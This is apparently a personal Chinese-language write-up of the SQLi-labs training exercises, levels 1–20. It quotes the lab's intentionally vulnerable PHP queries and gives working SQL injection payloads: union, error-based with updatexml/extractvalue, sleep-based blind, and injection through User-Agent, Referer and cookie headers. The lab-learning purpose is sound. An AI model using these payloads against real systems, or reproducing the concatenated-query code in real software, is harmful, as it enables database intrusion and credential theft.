需要掌握的MySQL基本知识

imformation_schema数据库中有很多张表,其中有用的信息如下:

tables_schema:存放每个数据库中的所有表名,常用查询语句 select table_name from imformation_schema.tables where table_schema = 'xxxx'

columns:存放表名,以及每张表的列名,常用查询语句select column_name from imformation_schema.columns where table_name = 'xxxx'

常用函数:

  • version(),查询系统版本
  • database(),查询当前数据库名
  • concat(),使用符号连接字符串
  • group_concat(),将多个返回信息变成一列

Less-1/2

Less-1: 字符形注入,需要加单引号。

Less-2: 数字型注入,不需要加单引号就可以注入。

Less-3/4

Less-3: 从源代码看出查询语句加入了括号,目标就是绕过括号

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

原理和单引号差不多,但是多了括号就需要有括号的闭合

1
payload: http://0.0.0.0:8080/Less-3/?id=-1') union select 1,2,3--+

Less-4: 和第三关一样,区别就是从单引号变成了双引号

1
payload: http://0.0.0.0:8080/Less-4/?id=-1") union select 1,2,3--+

Less-5/6

Less-5: 报错注入,这里使用updatexml函数,常用的两个函数如下

1
payload: http://0.0.0.0:8080/Less-5/?id=-1' and updatexml(1, concat(0x7e, (select database())), 1)--+

Less-6: 单引号变双引号,那就闭合双引号,作者源代码如下

1
2
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
1
payload: http://0.0.0.0:8080/Less-6/?id=1" and updatexml(1, concat(0x7e, (select database())), 1)--+

Less-7/8

使用into_outfile函数写一句话木马,拿到网站webshell,buu上目前无法获取网站路径,先跳过,后面搭建本地环境搞。

Less-9/10

sql盲注,没有了所有报错回显,脚本在写了在写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
?>

Less-11/12

Less-11:使用登录框登录,不同与之前,这次的提交方式是Post,但是注入方式和之前一样

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
echo $sql."</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
}
?>
1
payload: uname=admin&passwd=admin' and 1=2 union select database(),version()#

Less-12:同样是使用post提交方式,但是在提交之前对两个变量添加了双引号,并且在查询的时候使用的括号,源码如下

1
2
3
4
5
6
7
<?php
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>

所以在注入的时候需要添加双引号和括号进行闭合

1
payload: uname=admin&passwd=admin") and 1=2 union select 1,2#

Less-13/14

Less-13:双注入,没有任何回显,使用报错注入,源码如下

1
2
3
4
5
<?
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>
1
uname=1&passwd=1') and extractvalue(1,concat(0x7e,version(),0x7e))#

Less-14:查询参数两边添加了双引号,所以添加双引号进行闭合,但还是使用报错注入,源码如下

1
2
3
4
5
6
7
8
<?
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>
1
uname=1&passwd=1" and extractvalue(1,concat(0x7e,database(),0x7e))#

Less-15/16

Less-15:post提交方式的sql盲注,没有任何回显,报错注入也不行,可以试一试布尔时间盲注

下面两种写法都不是很通用,他需要存在uname的前提下才可以注入,所以写一个通用的(在没有waf的前提下)

1
2
错误的payload: uname=admin&passwd=1' and if(length(database())=8, sleep(5), 1) #
错误的payload: uname=admin' and if(length(database())=8, sleep(5), 1) #&passwd=1
1
2
正确的payload: uname=1' and 1=2 union select 1,sleep(5) #&passwd=1
: uname=Dhakkan and if(length(database())=8, sleep(5), 1) #&passwd=1

这种写法就要好一点,只需要查询返回的列相同就行

Less-16:好像是Hackbar出问题了,POST提交方式提交不上去(搞清楚了,不是hackbar的问题,如果使用hackbar的POST提交方式要将所有的参数写全)

源代码如下,因为注释了登录信息,还使用@符号抑制了sql语句报错,所以不会有任何回显,使用盲注爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);


// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
echo "<br>";
//echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
echo "</br>";
echo "</br>";
//echo "Try again looser";
//print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}

?>
1
2
payload: uname=1") and 1=2 union select 1,sleep(5) #&passwd=1
: uname=Dhakkan") and if(length(database())=8, sleep(5), 1) #&passwd=1

把上面的sleep函数换成if判断语句就可以进行爆破了,但是盲注脚本还是没有写,懒狗一条,先学学sqlmap的使用方式(学玩就写)

Less-17/18

Less-17:基于更新语句的报错注入,审源码逻辑。有一个check_input函数,作用是去掉转意的反斜杠,确保uname没有sql注入,但是还要研究研究这个函数,感觉这关主要就是学习这个check_input函数。在检查uname之后,进行查询

关于Mysql中的update语句,如果后面不加限制条件,那么改变的是整个表的值,后面可以接and跟我们需要的报错语句,如果源代码中没有没收报错回显,那么就可以成功使用报错注入。但是这道题有个条件,那就是用户名必须存在。

1
payload: uname=Dhakkan&passwd=1' and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')), 1) #

Less-18:头部报错注入,使用代理提交,估计是想让我们使用burpsuite抓包修改头部代理

需要了解的知识:User Agent

这关开始的源代码写得有点意思,check_input函数没有啥变化,对uname和passwd做了处理,所以这两个参数没有了sql注入的可能性。

1

这一关的前提是需要知道用户的账号和密码,可以通过前面的关卡注入出来,就不过多赘述。继续审代码,发现代码的逻辑是获取用户的IP和Uagent插入到表uagents中,且参数Uagent没有做任何处理,所以存在sql注入。

注入语句

首先可以自定义插入数据:

1
payload: 111', '127.0.0.1', 'hack') #

自定义插入数据

自定义插入数据那就是有机会进行二次注入,但是这一关是让我们直接使用报错注入来获取数据库的所有信息,所以需要另外想办法。

这里直接在uagent变量后面比和单引号,然后拼接报错语句。

1
payload: 1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) #

这一关感觉就是教你如何在insert语句下使用报错注入,修改uagent之类的抓包修改都还比较简单。

Less-19/20

Less-19:需要首先了解的知识Referer (中文翻译叫引荐人)-> HTTP 请求的头信息里面,Referer 是一个常见字段,提供访问来源的信息。

其他感觉和18关差不多,都是insert语句报错注入,唯一的不同点就是修改的数据段为referer段,18关修改的是User-Agent段

1
payload: 1' and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) ,1 ,1) #

Less-20:Cookie注入Less-20

登录进去后会显示Cookie信息

Cookie Message

没啥思路,看源码学习

首先还是对uname和passwd做了过滤,所有这两个参数不存在注入点,需要查找另外的注入点,通过一番抓包调试发现了注入点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
?>
1
测试payload: admin' and 1=2 union select 1,2,3 # 

可以看到已经能够控制回显了,但是这关是要我们使用报错注入,所以方法没有对,使用报错注入来过关。

注入测试

这里还有一个疑问,那就是有一个I LOVE COOKIE那个页面是怎么出来的也需要思考下。

i love cookie

1
报错注入payload: admin' and updatexml(1, concat(0x7e,(select version()), 0x7e), 1) #

得到回显页面,其他的数据通过替换select version()语句得到其他信息。

报错注入得到回显

Ending

SQLi-labs的基础关算是弄完了,但是有很多细节还没有深究,比如有很多关卡不止一种方式注入,还有很多的注入姿势没有学到,还要花时间研究研究。